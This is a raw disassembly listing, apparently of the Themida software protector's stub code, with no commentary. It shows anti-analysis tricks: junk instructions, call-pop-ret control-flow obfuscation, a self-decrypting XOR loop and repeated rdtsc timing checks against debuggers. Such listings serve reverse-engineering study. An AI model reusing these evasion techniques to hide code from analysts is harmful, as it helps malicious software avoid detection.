call near ptr loc_5B3880+2
mov esp, 0A1ADE4A1h
and esp, [esi+7Ch]
pusha
loc_5B3880: ; CODE XREF: Themida_:005B3871p
add eax, 0F9BF0F64h
pop eax
xor ebx, 77C1E6D2h
add eax, 606Fh
sub edx, edx
clc
; START OF FUNCTION CHUNK FOR sub_5B38C3
loc_5B3895: ; CODE XREF: sub_5B38C3:loc_5B393Aj
mov ecx, [eax+edx]
mov si, 1FEh
xor ecx, 0D7C1FDh
jmp loc_5B38B1
; END OF FUNCTION CHUNK FOR sub_5B38C3
; ---------------------------------------------------------------------------
db 8Ch
dd 0DB027B37h, 8DE341C0h
db 69h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B38C3
loc_5B38B1: ; CODE XREF: sub_5B38C3-21j
add ecx, 57394B5Bh
pusha
call near ptr sub_5B38C3
xor al, [esi-283F5E48h]
; END OF FUNCTION CHUNK FOR sub_5B38C3
; =============== S U B R O U T I N E =======================================
sub_5B38C3 proc far ; CODE XREF: sub_5B38C3-Bp
var_80 = dword ptr -80h
var_78 = dword ptr -78h
var_70 = dword ptr -70h
var_68 = dword ptr -68h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_44 = dword ptr -44h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 005B3895 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005B38B1 SIZE 00000012 BYTES
pop ecx
jmp loc_5B38CF
; ---------------------------------------------------------------------------
das
retf
; ---------------------------------------------------------------------------
db 85h
db 0EEh, 61h, 0B5h
; ---------------------------------------------------------------------------
loc_5B38CF: ; CODE XREF: sub_5B38C3+1j
popa
add ecx, 13800E64h
jnz loc_5B38E5
ja loc_5B38E5
movzx edi, ax
loc_5B38E5: ; CODE XREF: sub_5B38C3+13j
; sub_5B38C3+19j
push ecx
jo loc_5B38F7
pusha
ja $+6
sub cl, 0C3h
popa
loc_5B38F7: ; CODE XREF: sub_5B38C3+23j
pop dword ptr [eax+edx]
mov di, ax
jmp loc_5B390B
; ---------------------------------------------------------------------------
sbb dword ptr [ebx-5DAD460Dh], 4Eh
inc esi
loc_5B390B: ; CODE XREF: sub_5B38C3+3Aj
sub edx, 4
movsx ebx, ax
cmp edx, 0FFFFA060h
jnz loc_5B393A
sbb edi, 30386DEh
jmp loc_5B3949
; ---------------------------------------------------------------------------
dd 3330B548h, 5C448089h, 86F72B8Bh, 0C8D1DFEBh
; ---------------------------------------------------------------------------
test al, 9Dh
loc_5B393A: ; CODE XREF: sub_5B38C3+54j
jmp loc_5B3895
; ---------------------------------------------------------------------------
db 0F8h
dd 0D2BFEA91h, 0E38FE626h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_5B3949: ; CODE XREF: sub_5B38C3+60j
jmp loc_5B3D4E
; ---------------------------------------------------------------------------
align 10h
dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
dd offset dword_55FB80+480h
dd offset dword_44A8E0+5720h
dd 0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B3D4E: ; CODE XREF: sub_5B38C3:loc_5B3949j
jmp loc_5B4DF1
; ---------------------------------------------------------------------------
cmc
mov eax, [ebp+6122FD1h]
sub [ebp+6121471h], ebx
jmp loc_5B3D75
; ---------------------------------------------------------------------------
db 62h, 0B5h, 62h
dd 9D04981Fh, 0FD9CE5BAh, 5E0AD0E8h
db 0A0h
; ---------------------------------------------------------------------------
loc_5B3D75: ; CODE XREF: sub_5B38C3+49Dj
cmp [esp-4+arg_0], eax
jnz loc_5B3E1D
jmp loc_5B3D89
; ---------------------------------------------------------------------------
jmp dword ptr [eax]
; ---------------------------------------------------------------------------
xchg ecx, [esi+11h]
loc_5B3D89: ; CODE XREF: sub_5B38C3+4BCj
cmp dword ptr [ebp+6121DC5h], 0
jz loc_5B3E1D
push 0
push ebx
call loc_5B3DA1
and [ebx-3Dh], bl
loc_5B3DA1: ; CODE XREF: sub_5B38C3+4D6p
pop ebx
mov [esp+4], ebx
add dword ptr [esp+4], 1Dh
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
db 0F0h, 0BCh, 52h
dd 17FEB9C7h, 60F847F9h, 0EA7987BFh, 4D85893Dh, 61061221h
dd 3B48858Dh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 25694DC3h, 76D8A93Fh, 0E968F7CDh
dd 0Fh, 129C4440h, 43CC081Fh, 0FC9C2E2Ch, 60765CA1h, 2545B58Bh
dd 958B0612h, 612036Dh, 29E0FF61h, 1220C18Dh
; ---------------------------------------------------------------------------
push es
loc_5B3E1D: ; CODE XREF: sub_5B38C3+4B6j
; sub_5B38C3+4CDj
mov eax, [ebp+612335Dh]
pusha
and di, 6491h
mov esi, [ebp+6122AEDh]
popa
cmp [esp+4], eax
jnz loc_5B3E61
cmc
mov dword ptr [ebp+6158270h], 1
push 0
push eax
call loc_5B3E50
and [eax-3Dh], bl
loc_5B3E50: ; CODE XREF: sub_5B38C3+585p
pop eax
mov [esp+4], eax
add dword ptr [esp+4], 14h
inc eax
push eax
retn
; ---------------------------------------------------------------------------
db 72h
; ---------------------------------------------------------------------------
loc_5B3E61: ; CODE XREF: sub_5B38C3+571j
pusha
clc
jmp loc_5B3EB0
; ---------------------------------------------------------------------------
push 0
push ebp
call loc_5B3E73
and [ebp-3Dh], bl
loc_5B3E73: ; CODE XREF: sub_5B38C3+5A8p
pop ebp
mov [esp+2Ch+var_28], ebp
add [esp+2Ch+var_28], 18h
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
db 4Fh
dd 713E9164h, 14E9h, 0DB1E4C00h, 9582EFBCh, 62774E95h
dd 95B10D9h, 0E3A3A8Eh, 8C0F6077h, 3, 61FB8B66h, 0
; ---------------------------------------------------------------------------
loc_5B3EB0: ; CODE XREF: sub_5B38C3+5A0j
mov eax, 1
loc_5B3EB5: ; CODE XREF: sub_5B38C3+5FAj
xchg eax, [ebp+61583D2h]
or eax, eax
jnz short loc_5B3EB5
push dword ptr [ebp+61215C1h]
pop dword ptr [ebp+6158268h]
push 20h
push 0FFFFFFFFh
call dword ptr [ebp+61227F5h]
cmp dword ptr [ebp+6122C85h], 0
jz short loc_5B3EE6
push 0
call dword ptr [ebp+61229D1h]
loc_5B3EE6: ; CODE XREF: sub_5B38C3+619j
cmp dword ptr [ebp+6122855h], 1
jz short loc_5B3EFC
push 80h
push 0FFFFFFFFh
call dword ptr [ebp+61227F5h]
loc_5B3EFC: ; CODE XREF: sub_5B38C3+62Aj
push 0
push edi
call loc_5B3F07
and [edi-3Dh], bl
loc_5B3F07: ; CODE XREF: sub_5B38C3+63Cp
pop edi
mov [esp+4], edi
add dword ptr [esp+4], 17h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
inc ebx
inc ecx
cmp al, 0C2h
jns loc_5B3F29
jnb loc_5B3F29
pusha
popa
loc_5B3F29: ; CODE XREF: sub_5B38C3+658j
; sub_5B38C3+65Ej
stc
mov eax, 0
push 0
push ecx
call loc_5B3F3A
and [ecx-3Dh], bl
loc_5B3F3A: ; CODE XREF: sub_5B38C3+66Fp
pop ecx
mov [esp+48h+var_44], ecx
add [esp+48h+var_44], 1Ch
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
mov al, [ebx+4BDE59EAh]
adc eax, 8BF8A693h
push esp
and al, 28h
push 0
push ecx
call loc_5B3F63
and [ecx-3Dh], bl
loc_5B3F63: ; CODE XREF: sub_5B38C3+698p
pop ecx
mov [esp+54h+var_50], ecx
add [esp+54h+var_50], 14h
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
push esi
mov [ebp+61219D1h], eax
pusha
or ecx, [ebp+6120819h]
add [ebp+61227BDh], ebx
popa
jno loc_5B3F94
sub [ebp+61200E9h], esi
loc_5B3F94: ; CODE XREF: sub_5B38C3+6C5j
mov esi, 3Ch
push 0
push edx
call loc_5B3FA4
and [edx-3Dh], bl
loc_5B3FA4: ; CODE XREF: sub_5B38C3+6D9p
pop edx
mov [esp+60h+var_5C], edx
add [esp+60h+var_5C], 1Ah
inc edx
push edx
retn
; ---------------------------------------------------------------------------
dd 0F5E9CBA3h, 2989788Fh, 120EDDBDh, 24740306h, 11850124h
dd 66061222h, 4403F5ADh, 81602424h, 71EB78E6h, 61F98B27h
dd 0DF8B6050h, 2820Fh, 8FB10000h, 24048961h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 32C35040h, 0D58D013Ah
dd 6006121Dh, 4D8D8BF9h, 6106122Ah, 6078408Bh, 0BD8361F5h
dd 6158270h, 0D4850F00h, 0E9000000h, 0Fh, 31B470EFh, 0D42C71h
dd 0A527F096h, 905AF29Fh, 0E860Fh, 52500000h, 310F6160h
dd 850Fh, 585A0000h, 0E8F0F50h, 50000000h, 0F525052h, 0F585A31h
dd 5A616031h, 85299058h, 61219CDh, 2C24448Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DAC35040h, 75AF147Ch
dd 0C3A8DEA4h, 60525050h, 5E526160h, 0E9310F61h, 10h, 28F235F4h
dd 0ABBBB775h, 69B57315h, 0F3B6417Dh, 489585Ah, 51006A24h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 3977ABCDh, 8D0D0C1Dh, 15418B85h, 0C58D8906h, 0FF061203h
dd 0DE9D0h, 0E4E90000h, 17DA4B75h, 0E900EDF5h, 34F7FACh
dd 0F282444h, 18Dh, 408BF900h, 51006A18h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 37E57777h
dd 0A9858960h, 6606122Ah, 0E961F98Bh, 9, 50E10109h, 0A6B43F5Ah
dd 6A4016h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 340042C3h, 0BA500176h, 294440DAh, 1208859Dh
dd 6C858906h, 6A061582h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 844FC357h, 83DD7464h
dd 6A58E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 692AF1C3h, 0A98D8924h, 8B06122Ah, 6A7870h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0E6C1BAC3h, 2D5BA420h, 0E96976CCh, 0Dh, 51DF6B3Ch, 7F7AD49Eh
dd 635A1C0Dh, 1CC683AEh, 85BD0B60h, 61061202h, 0B18D8996h
dd 8106121Ch, 24247Ch, 0F100000h, 0CE87h, 3D8D8900h, 50061203h
dd 0CE9h, 0D8620400h, 9FE5CF89h, 3AEF0432h, 240489E1h
dd 5DB529F8h, 8B061207h, 6A282444h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 2CD6C356h
dd 0E68870F3h, 8B6660C9h, 0DFC5BBD1h, 506125D8h, 28F0F60h
dd 60000000h, 4896161h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 0F7460024h, 0F13BA3Bh
dd 685h, 298D3100h, 8D061207h, 15418B85h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0E9A502D5h, 9, 0DF4AAB5Ah, 3B9966E6h, 59D01F4h, 0FF06121Ah
dd 699529D0h, 96061223h, 11E860h, 13F10000h, 2BD4F58Ch
dd 8D5EA12Eh, 0F1D2C036h, 29F75879h, 12182995h, 0E3815A06h
dd 94D90EFh, 24740361h, 68A0F24h, 1000000h, 120B2D9Dh
dd 59BD8D06h, 0E9061225h, 0Ch, 0BB54DF48h, 8211E256h, 42089557h
dd 799589ADh, 81061221h, 24247Ch, 0F100000h, 0C787h, 0EBBF6000h
dd 8B18D9E1h, 121CDD9Dh, 50506106h, 12E952h, 5FCA0000h
dd 7B4CCAA8h, 0A09F6301h, 0E70A6BA9h, 9E0E0335h, 840F310Fh
dd 6, 840Fh, 585A0000h, 1240489h, 1226E995h, 0CE906h, 0B5B50000h
dd 6674571Bh, 142B4A4Fh, 448BFA0Ch, 50FC2824h, 52505250h
dd 9E9h, 4854FE00h, 85B8DA02h, 310F7EBDh, 800Fh, 585A0000h
dd 5250310Fh, 310F5250h, 310F585Ah, 310F5250h, 585A585Ah
dd 489585Ah, 198D2924h, 8D061221h, 15418B85h, 0B5896006h
dd 61228B5h, 2DB5BD8Bh, 0FF610612h, 1800FD0h, 0F8000000h
dd 128B0Fh, 0DE90000h, 75000000h, 0A1C89027h, 0F4209670h
dd 1F49C398h, 24244403h, 6AABFCh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 88E149C3h, 0FB1B0A1h
dd 686h, 0D9D8900h, 81061215h, 10000FAh, 0A7820F00h, 60000007h
dd 0DFD78166h, 5E9C1h, 0C7C20000h, 613D6729h, 2FF9BD8Dh
dd 89600612h, 1210D585h, 3F5EB906h, 0AD6118F2h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 5C35545h, 7C81F5ADh
dd 2424h, 870F1000h, 141h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 23C35545h, 6E9B543h, 2F000000h, 3ED8611Bh
dd 18E0FFAh, 0F5000000h, 0E8526090h, 0Bh, 0DE1B36D6h, 8240A815h
dd 5E74F3F0h, 61D48A5Fh, 8E950h, 14F60000h, 0C7CDC629h
dd 609047BAh, 68B0Fh, 850F0000h, 0
; ---------------------------------------------------------------------------
xor [ebp+61223C5h], eax
popa
cmc
mov eax, [esp+44h+var_1C]
push 0
push eax
call loc_5B451B
and [eax-3Dh], bl
loc_5B451B: ; CODE XREF: sub_5B38C3+C50p
pop eax
mov [esp+48h+var_44], eax
add [esp+48h+var_44], 19h
inc eax
push eax
retn
; ---------------------------------------------------------------------------
pop ecx
xor eax, 0E0E1B1C5h
push eax
push eax
push edx
push eax
push edx
jmp loc_5B454F
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
dd 8DB49C66h, 0FDD8B6A4h, 383EA6CCh, 0D7179C77h
db 9Eh, 82h, 0AEh
; ---------------------------------------------------------------------------
loc_5B454F: ; CODE XREF: sub_5B38C3+C73j
rdtsc
pusha
popa
pop edx
pop eax
rdtsc
push eax
push edx
push eax
push edx
rdtsc
pop edx
pop eax
rdtsc
jo $+6
pop edx
pop eax
pop edx
pop eax
mov [esp+4Ch+var_4C], eax
push 0
push edx
call loc_5B4579
and [edx-3Dh], bl
loc_5B4579: ; CODE XREF: sub_5B38C3+CAEp
pop edx
mov [esp+50h+var_4C], edx
add [esp+50h+var_4C], 1Bh
inc edx
push edx
retn
; ---------------------------------------------------------------------------
db 0E6h, 0C8h, 0A7h
dd 32943FFAh, 0B18D897Bh, 8D06122Ch, 15418B85h, 0AE86006h
dd 0F0000000h, 3502C52Ch, 5B5FB330h, 0F5BD319Eh, 5B061226h
dd 21299501h, 0FF610612h, 52006AD0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 1551640Fh
dd 0E141D91h, 24440329h, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0EB57389Eh, 50F97ABEh
dd 0FE9h, 846B3300h, 0ABA67370h, 472E3996h, 0DD9E997h
dd 31240489h, 122AFD8Dh, 6AAB06h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0F9C52DC3h, 275DBD8Dh
dd 850F0612h, 1, 0C860FF9h, 0F000000h, 684h, 3DB58900h
dd 0AD06121Ah, 6880F60h, 81000000h, 0E3F032F7h, 0E1B58974h
dd 61061215h, 7E9h, 34E09C00h, 0C918BC96h, 28247C81h, 10000000h
dd 0F6870Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0C11651C3h, 14E9AAh, 0E9A20000h
dd 76F1193Eh, 0D5691D84h, 8C8F4953h, 7B650AB1h, 0BD01D958h
dd 612197Dh, 50606090h, 5A310F52h, 3375BF58h, 0B2613765h
dd 6050613Bh, 5E616050h, 323887B8h, 6A906137h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 1056C353h, 151AB71Eh, 759850Ch, 1561BD01h, 448B0612h
dd 8B602C24h, 1208299Dh, 0D3B96606h, 820F61E2h, 0Eh, 59850360h
dd 0F06122Eh, 8Ah, 50506100h, 0E830F52h, 0E9000000h, 9
dd 0A9D228E9h, 97A1D915h, 50310FD3h, 8F0F52h, 0F000000h
dd 880F31h, 5A000000h, 89585A58h, 95892404h, 6121A69h
dd 418B858Dh, 9D890615h, 6121679h, 8589D0FFh, 6121E91h
dd 28244403h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 0ABC35343h, 0ABFCC700h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 66C35141h, 43054919h, 13955837h
dd 1BBD9D09h, 0FF5E0612h, 15826C8Dh, 6CBD8306h, 61582h
dd 0C0330A75h, 9051B58Dh, 0E6FF0615h, 7C81AD56h, 2824h
dd 0E771000h, 24448B50h, 858D502Ch, 615418Bh, 4403D0FFh
dd 8B972824h, 68858ADFh, 84061582h, 3A0474C0h, 574C7507h
dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h
dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h
dd 1219D185h, 0FF5DE906h, 895EFFFFh, 121D4595h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0D8A7C6B3h, 523D5B14h, 6E9h, 0EA416900h, 0F2A278Fh
dd 68Eh, 45950100h, 8B06121Eh, 1219D185h, 0E9BD8906h, 0D1061207h
dd 18D0FE0h, 0F5000000h, 275D8503h, 6A0612h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 8842B9C3h
dd 515F89C8h, 0FEE061Eh, 0A82h, 85896000h, 6120075h, 2B61EBB6h
dd 850F60F6h, 2, 61F85951h, 51B50196h, 66061212h, 53006AADh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 60F9C490h, 5E9h, 36257600h, 14E99928h, 11000000h, 864EE295h
dd 941881CCh, 4011D0D5h, 0A7ADBA15h, 618FCB49h, 6A02E0C1h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0AE03C356h, 8B0F45D8h, 1, 598503F8h, 6A061225h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 9681C355h, 89A54F47h, 121FC59Dh, 7D950106h
dd 96061219h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 62C35141h, 0E39E064Eh, 7F3979C0h, 2F319D09h, 6AAD0612h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 0CCEC355h, 0B99BC994h, 24247C81h, 10000000h
dd 0FF870Fh, 10E90000h, 0F6000000h, 0A0F35C0Ch, 3E312BBDh
dd 5AB64611h, 506A4B65h, 7E9h, 0E4AEB700h, 15CC3AB0h, 6A240489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0CEE3C351h, 0F850FC4h, 60000000h, 8E9h, 6047B100h
dd 405A6366h, 853161C4h, 6121FD1h, 2824448Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F1C35646h, 800FA1EFh
dd 0Eh, 0F1952360h, 906120Eh, 1212B585h, 890F6106h, 6
dd 263DBD01h, 0F500612h, 1F8Eh, 5E86000h, 9E000000h, 719CB995h
dd 0DE959h, 0B0A10000h, 8E10E6B1h, 64512523h, 613FD063h
dd 89240489h, 120391B5h, 8B858D06h, 0F8061541h, 6AD0FFh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0F10F7BC3h, 820F8EECh, 1, 244403F8h, 9E924h, 0CAC50000h
dd 6C75E7h, 89EFD23Eh, 6A1C2444h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F32C350h
dd 681h, 0C5858900h, 0E9061228h, 13h, 880AA2B6h, 15870D80h
dd 1EEDF377h, 0E176D44Ah, 0C6B143BFh, 1215C185h, 85C70006h
dd 61583D2h, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp+6158270h], 0
push 0
push ebx
call loc_5B4B95
and [ebx-3Dh], bl
loc_5B4B95: ; CODE XREF: sub_5B38C3+12CAp
pop ebx
mov [esp+58h+var_54], ebx
add [esp+58h+var_54], 1Ah
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
or [edi], dh
pop es
icebp
xchg eax, esp
sbb al, 53h
push 0
push ebp
call loc_5B4BB7
and [ebp-3Dh], bl
loc_5B4BB7: ; CODE XREF: sub_5B38C3+12ECp
pop ebp
mov [esp+5Ch+var_58], ebp
add [esp+5Ch+var_58], 1Dh
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
mov ebx, 34D295C1h
sbb cl, dl
adc ebp, [esi+eax*4+61h]
pusha
mov [ebp+6121B5Dh], edx
clc
popa
retn 8
; ---------------------------------------------------------------------------
jns loc_5B4BF6
jmp loc_5B4BF6
; ---------------------------------------------------------------------------
and al, 60h
sbb eax, 0B17F4E2Dh
sbb edx, [ebx-423661D4h]
loc_5B4BF6: ; CODE XREF: sub_5B38C3+131Bj
; sub_5B38C3+1321j
mov eax, [ebp+6122559h]
push 0
push ebx
call loc_5B4C07
and [ebx-3Dh], bl
loc_5B4C07: ; CODE XREF: sub_5B38C3+133Cp
pop ebx
mov [esp+64h+var_60], ebx
add [esp+64h+var_60], 17h
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
or al, [esi-47h]
dec edx
push 0
push ecx
call loc_5B4C27
and [ecx-3Dh], bl
loc_5B4C27: ; CODE XREF: sub_5B38C3+135Cp
pop ecx
mov [esp+6Ch+var_68], ecx
add [esp+6Ch+var_68], 15h
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
mov ah, 40h
jmp loc_5B4C43
; ---------------------------------------------------------------------------
dw 0D789h
db 90h
db 18h, 3Dh
; ---------------------------------------------------------------------------
loc_5B4C43: ; CODE XREF: sub_5B38C3+1376j
imul edx, 4
push 0
loc_5B4C48: ; CODE XREF: sub_5B38C3+13E5j
push edi
call loc_5B4C51
and [edi-3Dh], bl
loc_5B4C51: ; CODE XREF: sub_5B38C3+1386p
pop edi
mov [esp+74h+var_70], edi
add [esp+74h+var_70], 16h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
db 0E2h, 13h, 0B7h
; ---------------------------------------------------------------------------
cmc
add eax, edx
jmp loc_5B4C7B
; ---------------------------------------------------------------------------
scasd
pop ebx
dec esi
popf
mov word ptr [edi-6], ds
xchg ecx, eax
push cs
push ebp
inc ecx
fisub word ptr [ebx+52h]
loc_5B4C7B: ; CODE XREF: sub_5B38C3+13A4j
pusha
mov [ebp+6121979h], edi
or ecx, [ebp+6120345h]
popa
xchg eax, esi
push 0
push ebp
call loc_5B4C95
and [ebp-3Dh], bl
loc_5B4C95: ; CODE XREF: sub_5B38C3+13CAp
pop ebp
mov [esp+7Ch+var_78], ebp
add [esp+7Ch+var_78], 18h
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
mov word ptr [eax+75h], fs
jg short loc_5B4C48
cld
lodsd
jmp loc_5B4CBB
; ---------------------------------------------------------------------------
jmp fword ptr [edi-62h]
; ---------------------------------------------------------------------------
dd 9DC2D6EAh
db 18h, 0C0h, 64h
; ---------------------------------------------------------------------------
loc_5B4CBB: ; CODE XREF: sub_5B38C3+13E9j
cmp [esp+80h+var_5C], 10000000h
ja loc_5B4DB9
pusha
mov dh, 0D3h
mov [ebp+6122E65h], eax
popa
nop
jnp loc_5B4CF2
pusha
push ecx
pop ebx
call loc_5B4CF0
xchg eax, edi
mov ebx, 27C2F04Bh
daa
repne xor bl, cl
rcr byte ptr [edi+0Eh], 0C2h
loc_5B4CF0: ; CODE XREF: sub_5B38C3+141Ap
pop edx
popa
loc_5B4CF2: ; CODE XREF: sub_5B38C3+1411j
push eax
push eax
push edx
push eax
push edx
jmp loc_5B4D0C
; ---------------------------------------------------------------------------
lodsd
db 2Eh
mov bl, 7Dh
shl dword ptr [esi-54h], cl
xor al, [ebx-46h]
retf
; ---------------------------------------------------------------------------
db 26h
dd 0A3F827CDh
; ---------------------------------------------------------------------------
loc_5B4D0C: ; CODE XREF: sub_5B38C3+1434j
rdtsc
jg $+6
pop edx
pop eax
rdtsc
push eax
push edx
jmp loc_5B4D27
; ---------------------------------------------------------------------------
mov eax, 6692CD4h
mov bh, 92h
pop es
loc_5B4D27: ; CODE XREF: sub_5B38C3+1457j
rdtsc
jbe $+6
pop edx
pop eax
pop edx
pop eax
nop
cld
mov eax, [esp+7Ch+var_54]
jno loc_5B4D45
mov [ebp+6121EF5h], eax
loc_5B4D45: ; CODE XREF: sub_5B38C3+1476j
nop
jnb loc_5B4D5E
push eax
push edx
push eax
push edx
rdtsc
pop edx
pop eax
rdtsc
push eax
push edx
rdtsc
pop edx
pop eax
pop edx
pop eax
loc_5B4D5E: ; CODE XREF: sub_5B38C3+1483j
push eax
push eax
push edx
pusha
mov ax, dx
push eax
push edx
rdtsc
pop edx
pop eax
popa
rdtsc
pusha
push esi
pop ebx
mov eax, ecx
popa
pop edx
pop eax
nop
jo loc_5B4D9C
jo loc_5B4D9C
jmp loc_5B4D9C
; ---------------------------------------------------------------------------
dd 92D86E1h, 47CAA5F8h, 0B36144B3h, 9FA3F2BEh, 0A64BD1E0h
; ---------------------------------------------------------------------------
loc_5B4D9C: ; CODE XREF: sub_5B38C3+14B4j
; sub_5B38C3+14BAj ...
sub [ebp+6122375h], ecx
lea eax, [ebp+615418Bh]
jmp loc_5B4DB6
; ---------------------------------------------------------------------------
db 0A8h, 99h, 65h
dd 0EFE27CC8h
db 8, 0BCh
; ---------------------------------------------------------------------------
loc_5B4DB6: ; CODE XREF: sub_5B38C3+14E5j
call eax
stc
loc_5B4DB9: ; CODE XREF: sub_5B38C3+1400j
jmp near ptr dword_5B458C+58Dh
; ---------------------------------------------------------------------------
push 0
push ecx
call loc_5B4DC9
and [ecx-3Dh], bl
loc_5B4DC9: ; CODE XREF: sub_5B38C3+14FEp
pop ecx
mov [esp+84h+var_80], ecx
add [esp+84h+var_80], 15h
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
push edx
dec esi
jmp loc_5B4DF1
; ---------------------------------------------------------------------------
dd 81CDB06Dh, 9EAA270Fh, 0BBA0417Fh, 0AEB28392h
db 39h
; ---------------------------------------------------------------------------
loc_5B4DF1: ; CODE XREF: sub_5B38C3:loc_5B3D4Ej
; sub_5B38C3+1518j
lea eax, [ebp+615968Fh]
sub [ebp+61232CDh], edi
push eax
pusha
mov ah, 0CBh
jg loc_5B4E15
jmp loc_5B4E15
; ---------------------------------------------------------------------------
dd 3A7D584Fh, 3D205517h
; ---------------------------------------------------------------------------
cdq
loc_5B4E15: ; CODE XREF: sub_5B38C3+153Ej
; sub_5B38C3+1544j
popa
mov [esp+0], eax
jmp loc_5B4E25
; ---------------------------------------------------------------------------
dw 0DC68h
dd 52B1C439h
db 6Ah
; ---------------------------------------------------------------------------
loc_5B4E25: ; CODE XREF: sub_5B38C3+1556j
jo loc_5B4E3B
jmp loc_5B4E3B
; ---------------------------------------------------------------------------
dd 546308BCh, 1845A1Fh
db 56h, 0D8h, 9Dh
; ---------------------------------------------------------------------------
loc_5B4E3B: ; CODE XREF: sub_5B38C3:loc_5B4E25j
; sub_5B38C3+1568j
push large dword ptr fs:0
push 0
push edx
call sub_5B4E4D
and [edx-3Dh], bl
sub_5B38C3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B4E4D proc near ; CODE XREF: sub_5B38C3+1582p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5B4E4D endp
; ---------------------------------------------------------------------------
pushf
mov ebp, 4E2349CFh
push ebp
add [ebp+24048B4Fh], esi
push 0
push ebx
call sub_5B4E75
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4E75 proc near ; CODE XREF: Themida_:005B4E6Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5B4E75 endp
; ---------------------------------------------------------------------------
db 0AFh, 8, 0FCh
dd 0E97A61EDh, 8, 2CAD3158h, 4D64CB70h, 261DB531h, 85890612h
dd 6121399h, 8E9h, 51801C00h, 807AE739h, 2589640Fh, 0
; ---------------------------------------------------------------------------
push 0
push edi
